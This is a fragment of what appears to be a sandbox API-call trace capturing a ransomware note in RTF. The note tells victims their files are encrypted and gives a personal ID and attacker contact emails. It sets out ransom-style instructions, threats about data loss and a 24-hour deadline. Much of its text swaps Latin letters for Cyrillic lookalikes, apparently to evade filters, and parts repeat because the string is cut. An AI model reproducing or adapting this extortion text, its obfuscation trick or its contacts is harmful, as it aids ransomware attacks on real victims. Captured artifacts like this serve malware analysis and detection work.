\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 